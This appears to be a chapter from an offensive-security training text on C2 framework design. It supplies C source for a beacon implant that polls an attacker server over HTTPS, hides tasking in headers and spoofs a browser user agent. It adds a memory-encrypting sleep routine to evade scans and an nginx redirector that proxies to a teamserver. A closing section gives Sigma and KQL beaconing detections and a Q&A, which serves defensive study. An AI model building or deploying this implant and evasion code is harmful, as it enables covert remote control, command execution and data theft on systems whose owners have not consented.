Chapter 191

C2 Framework Architecture

Command and Control (C2) is the nervous system of a post-exploitation implant. A C2 framework connects implants on target systems to an operator console — carrying tasks down and results up — while blending its traffic with legitimate network activity and surviving network disruptions, IR response, and infrastructure takedowns. Understanding C2 architecture from first principles — not just using Cobalt Strike or Havoc — is what separates operators from tools and is exactly what detection engineers need to model to build meaningful behavioral detections.

Scenario

You have shellcode executing in a target process. You need a minimal C2 beacon that: checks in to your server over HTTPS every 60 seconds (± jitter), receives task instructions encoded in a cookie-like HTTP header, executes tasks in a thread pool, and returns results in the response body of the next check-in — all without maintaining a persistent TCP connection that a firewall will flag.

C2 Architecture Fundamentals

C2 COMMUNICATION MODEL ═══════════════════════════════════════════════════════════════════════ IMPLANT (target) TEAMSERVER OPERATOR ──────────────────── ────────────────── ──────────── beacon_loop() HTTP/HTTPS listener Web console / CLI │ ├─ parse check-in ├─ queue tasks ├─ sleep(60s ± jitter) ├─ issue tasking ├─ view output ├─ HTTP GET /img.png ├─ collect output └─ pivot, move │ ← tasking in response └─ store results ├─ execute task └─ HTTP POST /submit body = encrypted result REDIRECTOR (optional layer) implant → cdn.legitimate-looking[.]com → reverse proxy → teamserver (hides real teamserver IP; CDN IP appears in firewall logs) ═══════════════════════════════════════════════════════════════════════

Beacon Loop in C

// Minimal async beacon loop.
// Uses WinHTTP for HTTPS; task response in custom header X-Config.
// Result posted as encrypted body on next check-in.
// Designed to compile into shellcode-compatible position-independent code.

#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

#define C2_HOST     L"updates.cdn-static[.]com"
#define C2_PORT     443
#define SLEEP_BASE  60000   // 60 seconds base interval
#define JITTER_PCT  20      // ±20% jitter

DWORD ApplyJitter(DWORD base, int pct) {
    DWORD delta = (base * pct) / 100;
    return base - delta + (rand() % (delta * 2));
}

BOOL BeaconCheckIn(HINTERNET hSession, BYTE* pendingResult, DWORD resultLen,
                    BYTE** taskOut, DWORD* taskLen) {
    HINTERNET hConn = WinHttpConnect(hSession, C2_HOST,
        C2_PORT, 0);
    HINTERNET hReq  = WinHttpOpenRequest(hConn,
        resultLen ? L"POST" : L"GET",
        L"/assets/bootstrap.min.css",  // benign-looking path
        NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
        WINHTTP_FLAG_SECURE);

    // Add headers that blend with normal browser traffic
    WinHttpAddRequestHeaders(hReq,
        L"Accept: text/css,*/*;q=0.1\r\nAccept-Language: en-US,en;q=0.9\r\n",
        -1L, WINHTTP_ADDREQ_FLAG_ADD);

    WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        pendingResult, resultLen, resultLen, 0);
    WinHttpReceiveResponse(hReq, NULL);

    // Read tasking from response header X-Cache-Id
    WCHAR taskHeader[1024] = {0};
    DWORD hdrSz = sizeof(taskHeader);
    WinHttpQueryHeaders(hReq, WINHTTP_QUERY_CUSTOM,
        L"X-Cache-Id", taskHeader, &hdrSz, NULL);

    // Decode header → task bytes (base64 → decrypt → command)
    *taskOut  = (BYTE*)DecodeTask(taskHeader);
    *taskLen  = hdrSz;

    WinHttpCloseHandle(hReq);
    WinHttpCloseHandle(hConn);
    return TRUE;
}

VOID BeaconMain() {
    HINTERNET hSess = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",  // spoof browser UA
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

    BYTE* pendingResult = NULL;
    DWORD pendingLen    = 0;

    while (TRUE) {
        BYTE* task = NULL; DWORD taskLen = 0;
        BeaconCheckIn(hSess, pendingResult, pendingLen, &task, &taskLen);

        if (task && taskLen) {
            // Execute task in thread; store result for next check-in
            pendingResult = (BYTE*)ExecuteTask(task, taskLen, &pendingLen);
        }

        Sleep(ApplyJitter(SLEEP_BASE, JITTER_PCT));
    }
}

Tasking Protocol Design

TASKING PACKET STRUCTURE (encrypted, base64 in header) ═══════════════════════════════════════════════════════════════════════ [ 4B task_id ][ 2B task_type ][ 4B payload_len ][ N bytes payload ] ────────────────────────────────────────────────────────────────────── task_type values: 0x01 SHELL → run cmd /c 0x02 EXEC → CreateProcess 0x03 INJECT → inject payload shellcode into PID 0x04 DOWNLOAD → download file from teamserver to implant 0x05 UPLOAD → send file from implant to teamserver 0x06 SLEEP → change sleep interval (payload = new interval) 0x07 DIE → self-destruct ────────────────────────────────────────────────────────────────────── Encryption: AES-256-GCM, key negotiated at first check-in via ECDH P-256 All traffic is HTTPS anyway; inner encryption ensures teamserver TLS termination proxy (CDN/redirector) cannot read task content. ═══════════════════════════════════════════════════════════════════════

Sleep Obfuscation

// Standard Sleep() leaves the implant's heap in plaintext while sleeping —
// memory scans during sleep will find strings, shellcode, config data.
// "Sleep mask" technique: encrypt implant's own memory before sleeping,
// decrypt on wake. Used by Cobalt Strike's 'sleep_mask' feature.

VOID SleepObfuscated(DWORD ms) {
    // 1. Locate implant's own allocation base
    MEMORY_BASIC_INFORMATION mbi;
    VirtualQuery(SleepObfuscated, &mbi, sizeof(mbi));
    BYTE* base = (BYTE*)mbi.AllocationBase;
    SIZE_T sz   = mbi.RegionSize;

    // 2. XOR-encrypt with random 4-byte key while sleeping
    DWORD key = (DWORD)(GetTickCount64() ^ (ULONG_PTR)base);
    for (SIZE_T i = 0; i < sz - 3; i += 4)
        *(DWORD*)(base + i) ^= key;

    // 3. Sleep
    Sleep(ms);

    // 4. Decrypt (XOR again with same key = reversible)
    for (SIZE_T i = 0; i < sz - 3; i += 4)
        *(DWORD*)(base + i) ^= key;
    // After decryption, execution resumes from this function normally
}

Redirectors and Domain Fronting

// Redirector chain: implant → CDN edge → origin teamserver
// CDN SNI = legitimate domain (e.g., cdn.cloudflare-hosting[.]com)
// HTTP Host header = attacker teamserver domain
//
// Domain fronting (largely patched by major CDNs in 2018):
//   TLS SNI = allowed.cdn.com (firewall sees this)
//   HTTP Host = attacker.samecdn.com (CDN routes to attacker's origin)
//   Result: firewall allows connection to cdn.com; traffic goes to attacker
//
// Current technique: malleable C2 profiles (Cobalt Strike) / Havoc profiles
//   - URI paths look like legitimate CDN/web traffic
//   - Headers match real browser requests
//   - Response body contains legitimate content + tasking in crafted header/cookie
//
// Nginx redirector config (forwards only valid beacon paths, 404s everything else):
server {
    listen 443 ssl;
    ssl_certificate     /etc/nginx/ssl/cert.pem;
    ssl_certificate_key /etc/nginx/ssl/key.pem;

    location /assets/ {
        proxy_pass https://TEAMSERVER_IP;
        proxy_set_header Host teamserver.internal;
        proxy_ssl_verify off;
    }
    location / {
        return 404;  # Unexpected paths → 404; looks like a normal web server
    }
}

C2 Framework Comparison

FrameworkLanguageProtocolSleep maskDetection profileCost
Cobalt StrikeJava teamserver / C implantHTTP/S, DNS, SMBYes (Beacon Object Files)Well-sighed; many YARA/Sigma rulesCommercial $3500/yr
HavocGo teamserver / C implantHTTP/S, SMBYes (Ekko)Lower detection rate; open sourceFree
SliverGo teamserver + implantHTTP/S, DNS, mTLS, WireGuardPartialMedium detection rate; OSSFree
Brute Ratel C4C++ teamserver / C implantHTTP/S, DNSYesLow (designed for EDR evasion)Commercial
Custom beaconYour choiceAnyManualLowest (no public signatures)Time

Detection Engineering

title: Periodic Outbound HTTPS Beacon — Regular Interval with Low Data Volume
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    EventID: 3
    DestinationPort: 443
    Initiated: 'true'
  timeframe: 10m
  condition: selection | count() by SourceIp,DestinationIp > 8
    and selection | avg(bytes_sent) by SourceIp,DestinationIp < 512
level: medium
tags: [attack.command_and_control, T1071.001]

title: Suspicious User-Agent — Non-Browser Process Using Browser UA String
logsource:
  product: zeek
  service: http
detection:
  selection:
    user_agent|contains: 'Mozilla/5.0'
  not_browser:
    id.resp_p: 80
  not_browser_process: # correlate via Sysmon EID 3 InitiatingProcessFileName
    initiating_process|endswith:
      - '\powershell.exe'
      - '\svchost.exe'
      - '\rundll32.exe'
  condition: selection and not_browser_process
level: high

-- MDE KQL: beacon regularity detection
DeviceNetworkEvents
| where Timestamp > ago(6h)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize
    checkins   = count(),
    bytes_sent = sum(SentBytes),
    avg_interval = (max(Timestamp) - min(Timestamp)) / count()
    by DeviceName, RemoteIP, InitiatingProcessFileName
| where checkins > 10
    and bytes_sent < 50000                           // low data volume
    and avg_interval between (30s .. 300s)           // regular 30-300s interval
| order by checkins desc

-- MDE KQL: non-browser process with browser User-Agent
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort in (80, 443)
| where InitiatingProcessFileName !in~ (
    "chrome.exe","msedge.exe","firefox.exe","iexplore.exe",
    "teams.exe","slack.exe","outlook.exe")
| join kind=inner (
    DeviceEvents
    | where ActionType == "NetworkSignatureInspected"
    | where AdditionalFields has "Mozilla/5.0"
) on DeviceName, $left.Timestamp == $right.Timestamp
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort

Q&A

Why does inner-layer AES encryption inside HTTPS matter for operational security, and what threat does it defend against?

A C2 implant communicating via HTTPS already has TLS encryption between the implant and whatever server terminates TLS. But in a layered architecture, the TLS termination point is often a CDN edge, a redirector, or a cloud load balancer that the operator does not fully control — these intermediate nodes decrypt TLS to inspect or forward traffic. If tasking travels only in HTTPS, the CDN/redirector reads the task plaintext. More critically: in incident response, if defenders seize or image the redirector, they obtain a log of every task ever issued in plaintext.

Inner-layer AES-GCM encryption (with keys negotiated end-to-end via ECDH between the implant and the teamserver) means the redirector/CDN only ever sees ciphertext it cannot decrypt. The HTTPS envelope protects the inner ciphertext from network-layer interception, but the inner cipher is what protects task content from the intermediate infrastructure itself. This is the same principle as end-to-end encryption over a TLS-terminating proxy: the proxy sees encrypted blobs it cannot read.

For detection engineers: the implication is that protocol inspection at the CDN/proxy level cannot reveal C2 content in mature implementations. Detection must rely on behavioral patterns (regularity, volume, timing) rather than payload inspection. This is why beaconing analytics — looking for connections to a single external IP at suspiciously regular intervals — are the primary detection method for mature C2 rather than signature-based DPI.